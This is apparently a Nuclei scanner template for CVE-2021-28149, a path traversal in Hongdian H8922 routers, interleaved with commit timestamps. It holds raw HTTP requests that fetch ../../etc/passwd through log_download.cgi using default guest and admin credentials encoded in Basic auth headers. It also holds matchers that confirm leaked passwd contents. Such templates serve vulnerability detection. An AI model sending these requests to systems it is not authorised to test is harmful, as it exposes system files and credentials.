2021-07-10 12:16:35 +00:00
id : CVE-2021-28149
info :
2022-07-26 13:45:11 +00:00
name : Hongdian H8922 3.0.5 Devices - Local File Inclusion
2021-07-10 12:16:35 +00:00
author : gy741
severity : medium
description : |
2022-07-26 13:45:11 +00:00
Hongdian H8922 3.0.5 devices are vulnerable to local file inclusion. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.
2021-08-18 11:37:49 +00:00
reference :
2021-07-10 13:15:09 +00:00
- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
2022-05-17 09:18:12 +00:00
- http://en.hongdian.com/Products/Details/H8922
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-28149
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-28149
cwe-id : CWE-22
2023-04-12 10:55:48 +00:00
epss-score : 0.0527
2022-04-22 10:38:41 +00:00
tags : cve,cve2021,hongdian,traversal
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2021-07-10 12:16:35 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-10 12:16:35 +00:00
- raw :
- |
GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
Host : {{Hostname}}
Cache-Control : max-age=0
Authorization : Basic Z3Vlc3Q6Z3Vlc3Q=
- |
GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
Host : {{Hostname}}
Authorization : Basic YWRtaW46YWRtaW4=
2021-08-19 20:44:42 +00:00
2021-07-10 12:16:35 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "application/octet-stream"
part : header
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2021-07-10 12:16:35 +00:00
- "sshd:[x*]"
- "root:[$]"
part : body
2022-07-26 13:45:11 +00:00
# Enhanced by mp on 2022/07/22